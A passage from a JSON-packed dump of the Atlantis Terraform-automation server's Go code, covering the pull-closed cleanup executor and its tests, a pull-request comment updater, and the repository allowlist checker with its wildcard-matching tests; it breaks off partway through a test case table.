like:\n// dir: {dir}, workspaces: {all-workspaces}\nfunc (p *PullClosedExecutor) buildTemplateData(locks []models.ProjectLock) []templatedProject {\n\tworkspacesByPath := make(map[string][]string)\n\tfor _, l := range locks {\n\t\tpath := l.Project.Path\n\t\t// Check if workspace already exists to avoid duplicates\n\t\tif !slices.Contains(workspacesByPath[path], l.Workspace) {\n\t\t\tworkspacesByPath[path] = append(workspacesByPath[path], l.Workspace)\n\t\t}\n\t}\n\n\t// sort keys so we can write deterministic tests\n\tvar sortedPaths []string\n\tfor p := range workspacesByPath {\n\t\tsortedPaths = append(sortedPaths, p)\n\t}\n\tsort.Strings(sortedPaths)\n\n\tvar projects []templatedProject\n\tfor _, p := range sortedPaths {\n\t\tworkspace := workspacesByPath[p]\n\t\tsort.Strings(workspace)\n\t\tworkspacesStr := fmt.Sprintf(\"`%s`\", strings.Join(workspace, \"`, `\"))\n\t\tif len(workspace) == 1 {\n\t\t\tprojects = append(projects, templatedProject{\n\t\t\t\tRepoRelDir: p,\n\t\t\t\tWorkspaces: \"workspace: \" + workspacesStr,\n\t\t\t})\n\t\t} else {\n\t\t\tprojects = append(projects, templatedProject{\n\t\t\t\tRepoRelDir: p,\n\t\t\t\tWorkspaces: \"workspaces: \" + workspacesStr,\n\t\t\t})\n\n\t\t}\n\t}\n\treturn projects\n}\n"
  },
  {
    "path": "server/events/pull_closed_executor_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/stretchr/testify/assert\"\n\tbolt \"go.etcd.io/bbolt\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\tlockmocks \"github.com/runatlantis/atlantis/server/core/locking/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/models/testdata\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\tloggermocks \"github.com/runatlantis/atlantis/server/logging/mocks\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nfunc TestCleanUpPullWorkspaceErr(t *testing.T) {\n\tt.Log(\"when workspace.Delete returns an error, we return it\")\n\tRegisterMockTestingT(t)\n\tlogger := logging.NewNoopLogger(t)\n\tw := mocks.NewMockWorkingDir()\n\ttmp := t.TempDir()\n\tdb, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tdb.Close()\n\t})\n\tOk(t, err)\n\tpce := events.PullClosedExecutor{\n\t\tWorkingDir:         w,\n\t\tPullClosedTemplate: &events.PullClosedEventTemplate{},\n\t\tDatabase:           db,\n\t}\n\terr = errors.New(\"err\")\n\tWhen(w.Delete(logger, testdata.GithubRepo, testdata.Pull)).ThenReturn(err)\n\tactualErr := pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull)\n\tEquals(t, \"cleaning workspace: err\", actualErr.Error())\n}\n\nfunc TestCleanUpPullUnlockErr(t *testing.T) {\n\tt.Log(\"when locker.UnlockByPull returns an error, we return it\")\n\tRegisterMockTestingT(t)\n\tlogger := logging.NewNoopLogger(t)\n\tw := mocks.NewMockWorkingDir()\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\ttmp := t.TempDir()\n\tdb, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tdb.Close()\n\t})\n\tOk(t, err)\n\tpce := events.PullClosedExecutor{\n\t\tLocker:             l,\n\t\tWorkingDir:         w,\n\t\tDatabase:           db,\n\t\tPullClosedTemplate: &events.PullClosedEventTemplate{},\n\t}\n\terr = errors.New(\"err\")\n\tl.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(nil, err)\n\tactualErr := pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull)\n\tEquals(t, \"cleaning up locks: err\", actualErr.Error())\n}\n\nfunc TestCleanUpPullNoLocks(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tt.Log(\"when there are no locks to clean up, we don't comment\")\n\tRegisterMockTestingT(t)\n\tw := mocks.NewMockWorkingDir()\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\tcp := vcsmocks.NewMockClient()\n\ttmp := t.TempDir()\n\tdb, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tdb.Close()\n\t})\n\tOk(t, err)\n\tpce := events.PullClosedExecutor{\n\t\tLocker:     l,\n\t\tVCSClient:  cp,\n\t\tWorkingDir: w,\n\t\tDatabase:   db,\n\t}\n\tl.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(nil, nil)\n\terr = pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull)\n\tOk(t, err)\n\tcp.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n}\n\nfunc TestCleanUpPullComments(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tt.Log(\"should comment correctly\")\n\tRegisterMockTestingT(t)\n\tcases := []struct {\n\t\tDescription string\n\t\tLocks       []models.ProjectLock\n\t\tExp         string\n\t}{\n\t\t{\n\t\t\t\"single lock, empty path\",\n\t\t\t[]models.ProjectLock{\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"\", \"\"),\n\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"- dir: `.` workspace: `default`\",\n\t\t},\n\t\t{\n\t\t\t\"single lock, named project\",\n\t\t\t[]models.ProjectLock{\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"\", \"projectname\"),\n\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t// TODO: Should project name be included in output?\n\t\t\t\"- dir: `.` workspace: `default`\",\n\t\t},\n\t\t{\n\t\t\t\"single lock, non-empty path\",\n\t\t\t[]models.ProjectLock{\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"path\", \"\"),\n\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"- dir: `path` workspace: `default`\",\n\t\t},\n\t\t{\n\t\t\t\"single path, multiple workspaces\",\n\t\t\t[]models.ProjectLock{\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"path\", \"\"),\n\t\t\t\t\tWorkspace: \"workspace1\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"path\", \"\"),\n\t\t\t\t\tWorkspace: \"workspace2\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"- dir: `path` workspaces: `workspace1`, `workspace2`\",\n\t\t},\n\t\t{\n\t\t\t\"multiple paths, multiple workspaces\",\n\t\t\t[]models.ProjectLock{\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"path\", \"\"),\n\t\t\t\t\tWorkspace: \"workspace1\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"path\", \"\"),\n\t\t\t\t\tWorkspace: \"workspace2\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"path2\", \"\"),\n\t\t\t\t\tWorkspace: \"workspace1\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProject:   models.NewProject(\"owner/repo\", \"path2\", \"\"),\n\t\t\t\t\tWorkspace: \"workspace2\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"- dir: `path` workspaces: `workspace1`, `workspace2`\\n- dir: `path2` workspaces: `workspace1`, `workspace2`\",\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tfunc() {\n\t\t\tw := mocks.NewMockWorkingDir()\n\t\t\tcp := vcsmocks.NewMockClient()\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tl := lockmocks.NewMockLocker(ctrl)\n\t\t\ttmp := t.TempDir()\n\t\t\tdb, err := boltdb.New(tmp)\n\t\t\tt.Cleanup(func() {\n\t\t\t\tdb.Close()\n\t\t\t})\n\t\t\tOk(t, err)\n\t\t\tpce := events.PullClosedExecutor{\n\t\t\t\tLocker:     l,\n\t\t\t\tVCSClient:  cp,\n\t\t\t\tWorkingDir: w,\n\t\t\t\tDatabase:   db,\n\t\t\t}\n\t\t\tt.Log(\"testing: \" + c.Description)\n\t\t\tl.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(c.Locks, nil)\n\t\t\terr = pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull)\n\t\t\tOk(t, err)\n\t\t\t_, _, _, comment, _ := cp.VerifyWasCalledOnce().CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments()\n\n\t\t\texpected := \"Locks and plans deleted for the projects and workspaces modified in this pull request:\\n\\n\" + c.Exp\n\t\t\tEquals(t, expected, comment)\n\t\t}()\n\t}\n}\n\nfunc TestCleanUpLogStreaming(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\tt.Run(\"Should Clean Up Log Streaming Resources When PR is closed\", func(t *testing.T) {\n\n\t\t// Create Log streaming resources\n\t\tprjCmdOutput := make(chan *jobs.ProjectCmdOutputLine)\n\t\tprjCmdOutHandler := jobs.NewAsyncProjectCommandOutputHandler(prjCmdOutput, logger)\n\t\tctx := command.ProjectContext{\n\t\t\tBaseRepo:    testdata.GithubRepo,\n\t\t\tPull:        testdata.Pull,\n\t\t\tProjectName: *testdata.Project.Name,\n\t\t\tWorkspace:   \"default\",\n\t\t}\n\n\t\tgo prjCmdOutHandler.Handle()\n\t\tprjCmdOutHandler.Send(ctx, \"Test Message\", false)\n\n\t\t// Create boltdb and add pull request.\n\t\tvar lockBucket = \"bucket\"\n\t\tvar configBucket = \"configBucket\"\n\t\tvar pullsBucketName = \"pulls\"\n\n\t\tf, err := os.CreateTemp(\"\", \"\")\n\t\tif err != nil {\n\t\t\tpanic(fmt.Errorf(\"failed to create temp file: %w\", err))\n\t\t}\n\t\tpath := f.Name()\n\t\tf.Close() // nolint: errcheck\n\n\t\t// Open the database.\n\t\tboltDB, err := bolt.Open(path, 0600, nil)\n\t\tif err != nil {\n\t\t\tpanic(fmt.Errorf(\"could not start bolt DB: %w\", err))\n\t\t}\n\t\tif err := boltDB.Update(func(tx *bolt.Tx) error {\n\t\t\tif _, err := tx.CreateBucketIfNotExists([]byte(pullsBucketName)); err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to create bucket: %w\", err)\n\t\t\t}\n\t\t\treturn nil\n\t\t}); err != nil {\n\t\t\tpanic(fmt.Errorf(\"could not create bucket: %w\", err))\n\t\t}\n\t\tdatabase, _ := boltdb.NewWithDB(boltDB, lockBucket, configBucket)\n\t\tresult := []command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir:  testdata.GithubRepo.FullName,\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: *testdata.Project.Name,\n\t\t\t},\n\t\t}\n\n\t\t// Create a new record for pull\n\t\t_, err = database.UpdatePullWithResults(testdata.Pull, result)\n\t\tOk(t, err)\n\n\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\tgmockCtrl := gomock.NewController(t)\n\t\tlocker := lockmocks.NewMockLocker(gmockCtrl)\n\t\tclient := vcsmocks.NewMockClient()\n\t\tlogger := loggermocks.NewMockSimpleLogging()\n\n\t\tpullClosedExecutor := events.PullClosedExecutor{\n\t\t\tLocker:                   locker,\n\t\t\tWorkingDir:               workingDir,\n\t\t\tDatabase:                 database,\n\t\t\tVCSClient:                client,\n\t\t\tPullClosedTemplate:       &events.PullClosedEventTemplate{},\n\t\t\tLogStreamResourceCleaner: prjCmdOutHandler,\n\t\t}\n\n\t\tlocks := []models.ProjectLock{\n\t\t\t{\n\t\t\t\tProject:   models.NewProject(testdata.GithubRepo.FullName, \"\", \"\"),\n\t\t\t\tWorkspace: \"default\",\n\t\t\t},\n\t\t}\n\t\tlocker.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(locks, nil)\n\n\t\t// Clean up.\n\t\terr = pullClosedExecutor.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull)\n\t\tOk(t, err)\n\n\t\tclose(prjCmdOutput)\n\t\t_, _, _, comment, _ := client.VerifyWasCalledOnce().CreateComment(\n\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments()\n\t\texpectedComment := \"Locks and plans deleted for the projects and workspaces modified in this pull request:\\n\\n\" + \"- dir: `.` workspace: `default`\"\n\t\tEquals(t, expectedComment, comment)\n\n\t\t// Assert log streaming resources are cleaned up.\n\t\tdfPrjCmdOutputHandler := prjCmdOutHandler.(*jobs.AsyncProjectCommandOutputHandler)\n\t\tassert.Empty(t, dfPrjCmdOutputHandler.GetProjectOutputBuffer(ctx.PullInfo()))\n\t\tassert.Empty(t, dfPrjCmdOutputHandler.GetReceiverBufferForPull(ctx.PullInfo()))\n\t})\n}\n\nfunc TestCleanUpPullWithCorrectJobContext(t *testing.T) {\n\tt.Log(\"CleanUpPull should call LogStreamResourceCleaner.CleanUp with complete PullInfo including RepoFullName and Path\")\n\tRegisterMockTestingT(t)\n\tlogger := logging.NewNoopLogger(t)\n\n\t// Create mocks\n\tworkingDir := mocks.NewMockWorkingDir()\n\tgmockCtrl := gomock.NewController(t)\n\tlocker := lockmocks.NewMockLocker(gmockCtrl)\n\tclient := vcsmocks.NewMockClient()\n\tresourceCleaner := mocks.NewMockResourceCleaner()\n\n\t// Create temporary database\n\ttmp := t.TempDir()\n\tdb, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tdb.Close()\n\t})\n\tOk(t, err)\n\n\t// Create test data with multiple projects to verify all fields are populated correctly\n\ttestProjects := []command.ProjectResult{\n\t\t{\n\t\t\tRepoRelDir:  \"path/to/project1\",\n\t\t\tWorkspace:   \"default\",\n\t\t\tProjectName: \"project1\",\n\t\t},\n\t\t{\n\t\t\tRepoRelDir:  \"path/to/project2\",\n\t\t\tWorkspace:   \"staging\",\n\t\t\tProjectName: \"project2\",\n\t\t},\n\t}\n\n\t// Add pull status to database\n\t_, err = db.UpdatePullWithResults(testdata.Pull, testProjects)\n\tOk(t, err)\n\n\t// Create executor\n\tpce := events.PullClosedExecutor{\n\t\tLocker:                   locker,\n\t\tVCSClient:                client,\n\t\tWorkingDir:               workingDir,\n\t\tDatabase:                 db,\n\t\tPullClosedTemplate:       &events.PullClosedEventTemplate{},\n\t\tLogStreamResourceCleaner: resourceCleaner,\n\t}\n\n\t// Setup mock expectations\n\tlocker.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(nil, nil)\n\n\t// Execute CleanUpPull\n\terr = pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull)\n\tOk(t, err)\n\n\t// Verify ResourceCleaner.CleanUp was called twice (once for each project)\n\tresourceCleaner.VerifyWasCalled(Times(2)).CleanUp(Any[jobs.PullInfo]())\n\n\t// Get the captured arguments to verify they contain all required fields\n\tcapturedArgs := resourceCleaner.VerifyWasCalled(Times(2)).CleanUp(Any[jobs.PullInfo]()).GetAllCapturedArguments()\n\n\t// Verify first project's PullInfo\n\texpectedPullInfo1 := jobs.PullInfo{\n\t\tPullNum:      testdata.Pull.Num,\n\t\tRepo:         testdata.Pull.BaseRepo.Name,\n\t\tRepoFullName: testdata.Pull.BaseRepo.FullName,\n\t\tProjectName:  \"project1\",\n\t\tPath:         \"path/to/project1\",\n\t\tWorkspace:    \"default\",\n\t}\n\tEquals(t, expectedPullInfo1, capturedArgs[0])\n\n\t// Verify second project's PullInfo\n\texpectedPullInfo2 := jobs.PullInfo{\n\t\tPullNum:      testdata.Pull.Num,\n\t\tRepo:         testdata.Pull.BaseRepo.Name,\n\t\tRepoFullName: testdata.Pull.BaseRepo.FullName,\n\t\tProjectName:  \"project2\",\n\t\tPath:         \"path/to/project2\",\n\t\tWorkspace:    \"staging\",\n\t}\n\tEquals(t, expectedPullInfo2, capturedArgs[1])\n}\n"
  },
  {
    "path": "server/events/pull_status_fetcher.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport \"github.com/runatlantis/atlantis/server/events/models\"\n\n// PullStatusFetcher fetches our internal model of a pull requests status\ntype PullStatusFetcher interface {\n\tGetPullStatus(pull models.PullRequest) (*models.PullStatus, error)\n}\n"
  },
  {
    "path": "server/events/pull_updater.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\ntype PullUpdater struct {\n\tHidePrevPlanComments bool\n\tVCSClient            vcs.Client\n\tMarkdownRenderer     *MarkdownRenderer\n}\n\nfunc (c *PullUpdater) updatePull(ctx *command.Context, cmd PullCommand, res command.Result) {\n\t// Log if we got any errors or failures.\n\tif res.Error != nil {\n\t\tctx.Log.Err(res.Error.Error())\n\t} else if res.Failure != \"\" {\n\t\tctx.Log.Warn(res.Failure)\n\t}\n\n\t// HidePrevCommandComments will hide old comments left from previous runs to reduce\n\t// clutter in a pull/merge request. This will not delete the comment, since the\n\t// comment trail may be useful in auditing or backtracing problems.\n\tif c.HidePrevPlanComments {\n\t\tctx.Log.Debug(\"hiding previous plan comments for command: '%v', directory: '%v'\", cmd.CommandName().TitleString(), cmd.Dir())\n\t\tif err := c.VCSClient.HidePrevCommandComments(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, cmd.CommandName().TitleString(), cmd.Dir()); err != nil {\n\t\t\tctx.Log.Err(\"unable to hide old comments: %s\", err)\n\t\t}\n\t}\n\n\tif len(res.ProjectResults) > 0 {\n\t\tvar commentOnProjects []command.ProjectResult\n\t\tfor _, result := range res.ProjectResults {\n\t\t\tif utils.SlicesContains(result.SilencePRComments, cmd.CommandName().String()) {\n\t\t\t\tctx.Log.Debug(\"silenced command '%s' comment for project '%s'\", cmd.CommandName().String(), result.ProjectName)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcommentOnProjects = append(commentOnProjects, result)\n\t\t}\n\n\t\tif len(commentOnProjects) == 0 {\n\t\t\treturn\n\t\t}\n\n\t\tres.ProjectResults = commentOnProjects\n\t}\n\n\tcomment := c.MarkdownRenderer.Render(ctx, res, cmd)\n\tif err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, comment, cmd.CommandName().String()); err != nil {\n\t\tctx.Log.Err(\"unable to comment: %s\", err)\n\t}\n}\n"
  },
  {
    "path": "server/events/repo_allowlist_checker.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\n// Wildcard matches 0-n of all characters except commas.\nconst Wildcard = \"*\"\n\n// RepoAllowlistChecker implements checking if repos are allowlisted to be used with\n// this Atlantis.\ntype RepoAllowlistChecker struct {\n\tincludeRules []string\n\tomitRules    []string\n}\n\n// NewRepoAllowlistChecker constructs a new checker and validates that the\n// allowlist isn't malformed.\nfunc NewRepoAllowlistChecker(allowlist string) (*RepoAllowlistChecker, error) {\n\tincludeRules := make([]string, 0)\n\tomitRules := make([]string, 0)\n\tfor rule := range strings.SplitSeq(allowlist, \",\") {\n\t\tif strings.Contains(rule, \"://\") {\n\t\t\treturn nil, fmt.Errorf(\"allowlist %q contained ://\", rule)\n\t\t}\n\t\tif len(rule) > 1 && rule[0] == '!' {\n\t\t\tomitRules = append(omitRules, rule[1:])\n\t\t} else {\n\t\t\tincludeRules = append(includeRules, rule)\n\t\t}\n\t}\n\treturn &RepoAllowlistChecker{\n\t\tincludeRules: includeRules,\n\t\tomitRules:    omitRules,\n\t}, nil\n}\n\n// IsAllowlisted returns true if this repo is in our allowlist and false\n// otherwise.\nfunc (r *RepoAllowlistChecker) IsAllowlisted(repoFullName string, vcsHostname string) bool {\n\tcandidate := fmt.Sprintf(\"%s/%s\", vcsHostname, repoFullName)\n\tshouldInclude := r.matchesAtLeastOneRule(r.includeRules, candidate)\n\tshouldOmit := r.matchesAtLeastOneRule(r.omitRules, candidate)\n\treturn shouldInclude && !shouldOmit\n}\n\nfunc (r *RepoAllowlistChecker) matchesAtLeastOneRule(rules []string, candidate string) bool {\n\tfor _, rule := range rules {\n\t\tif r.matchesRule(rule, candidate) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (r *RepoAllowlistChecker) matchesRule(rule string, candidate string) bool {\n\t// Case insensitive compare.\n\trule = strings.ToLower(rule)\n\tcandidate = strings.ToLower(candidate)\n\n\twildcardIdx := strings.Index(rule, Wildcard)\n\tif wildcardIdx == -1 {\n\t\t// No wildcard so can do a straight up match.\n\t\treturn candidate == rule\n\t}\n\n\t// If the candidate length is less than where we found the wildcard\n\t// then it can't be equal. For example:\n\t//   rule: abc*\n\t//   candidate: ab\n\tif len(candidate) < wildcardIdx {\n\t\treturn false\n\t}\n\n\t// If wildcard is not the last character, substring both to compare what is after the wildcard.  Example:\n\t// candidate: repo-abc\n\t// rule: *-abc\n\t// substr(candidate): -abc\n\t// substr(rule): -abc\n\tif wildcardIdx != len(rule)-1 {\n\t\t// If the rule substring after wildcard does not exist in the candidate, then it is not a match.\n\t\tidx := strings.LastIndex(candidate, rule[wildcardIdx+1:])\n\t\tif idx == -1 {\n\t\t\treturn false\n\t\t}\n\t\treturn candidate[idx:] == rule[wildcardIdx+1:]\n\t}\n\n\t// If wildcard is last character, substring both so they're comparing before the wildcard. Example:\n\t// candidate: abcd\n\t// rule: abc*\n\t// substr(candidate): abc\n\t// substr(rule): abc\n\treturn candidate[:wildcardIdx] == rule[:wildcardIdx]\n}\n"
  },
  {
    "path": "server/events/repo_allowlist_checker_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRepoAllowlistChecker_IsAllowlisted(t *testing.T) {\n\tcases := []struct {\n\t\tDescription  string\n\t\tAllowlist    string\n\t\tRepoFullName string\n\t\tHostname     string\n\t\tExp          bool\n\t}{\n\t\t{\n\t\t\t\"exact match\",\n\t\t\t\"github.com/owner/repo\",\n\t\t\t\"owner/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"exact match shouldn't match anything else\",\n\t\t\t\"github.com/owner/repo\",\n\t\t\t\"owner/rep\",\n\t\t\t\"github.com\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"* should match anything\",\n\t\t\t\"*\",\n\t\t\t\"owner/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github.com* should match anything github\",\n\t\t\t\"github.com*\",\n\t\t\t\"owner/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github.com* should not match gitlab\",\n\t\t\t\"github.com*\",\n\t\t\t\"owner/repo\",\n\t\t\t\"gitlab.com\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"github.com/o* should match\",\n\t\t\t\"github.com/o*\",\n\t\t\t\"owner/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github.com/owner/rep* should not match\",\n\t\t\t\"github.com/owner/rep*\",\n\t\t\t\"owner/re\",\n\t\t\t\"github.com\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"github.com/owner/rep* should match\",\n\t\t\t\"github.com/owner/rep*\",\n\t\t\t\"owner/rep\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github.com/o* should not match\",\n\t\t\t\"github.com/o*\",\n\t\t\t\"somethingelse/repo\",\n\t\t\t\"github.com\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"github.com/owner/repo* should match exactly\",\n\t\t\t\"github.com/owner/repo*\",\n\t\t\t\"owner/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github.com/owner/* should match anything in org\",\n\t\t\t\"github.com/owner/*\",\n\t\t\t\"owner/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github.com/owner/* should not match anything not in org\",\n\t\t\t\"github.com/owner/*\",\n\t\t\t\"otherorg/repo\",\n\t\t\t\"github.com\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"if there's any * it should match\",\n\t\t\t\"github.com/owner/repo,*\",\n\t\t\t\"otherorg/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"any exact match should match\",\n\t\t\t\"github.com/owner/repo,github.com/otherorg/repo\",\n\t\t\t\"otherorg/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"longer shouldn't match on exact\",\n\t\t\t\"github.com/owner/repo\",\n\t\t\t\"owner/repo-longer\",\n\t\t\t\"github.com\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"should be case insensitive\",\n\t\t\t\"github.com/owner/repo\",\n\t\t\t\"OwNeR/rEpO\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"should be case insensitive for wildcards\",\n\t\t\t\"github.com/owner/*\",\n\t\t\t\"OwNeR/rEpO\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"should match if wildcard is not last character\",\n\t\t\t\"github.com/owner/*-repo\",\n\t\t\t\"owner/prefix-repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"should match if wildcard is first character within owner name\",\n\t\t\t\"github.com/*-owner/repo\",\n\t\t\t\"prefix-owner/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"should match if wildcard is at beginning\",\n\t\t\t\"*-owner/repo\",\n\t\t\t\"prefix-owner/repo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"should match with duplicate\",\n\t\t\t\"*runatlantis\",\n\t\t\t\"runatlantis/runatlantis\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"should exclude with negative match\",\n\t\t\t\"github.com/owner/*,!github.com/owner/badrepo\",\n\t\t\t\"owner/badrepo\",\n\t\t\t\"github.com\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"should match if with negative rule doesn't match\",\n\t\t\t\"github.com/owner/*,!github.com/owner/badrepo\",\n\t\t\t\"owner/otherrepo\",\n\t\t\t\"github.com\",\n\t\t\ttrue,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tw, err := events.NewRepoAllowlistChecker(c.Allowlist)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.Exp, w.IsAllowlisted(c.RepoFullName, c.Hostname))\n\t\t})\n\t}\n}\n\n// If the allowlist contains a schema then we should get an error.\nfunc TestRepoAllowlistChecker_ContainsSchema(t *testing.T) {\n\tcases := []struct {\n\t\tallowlist string\n\t\texpErr    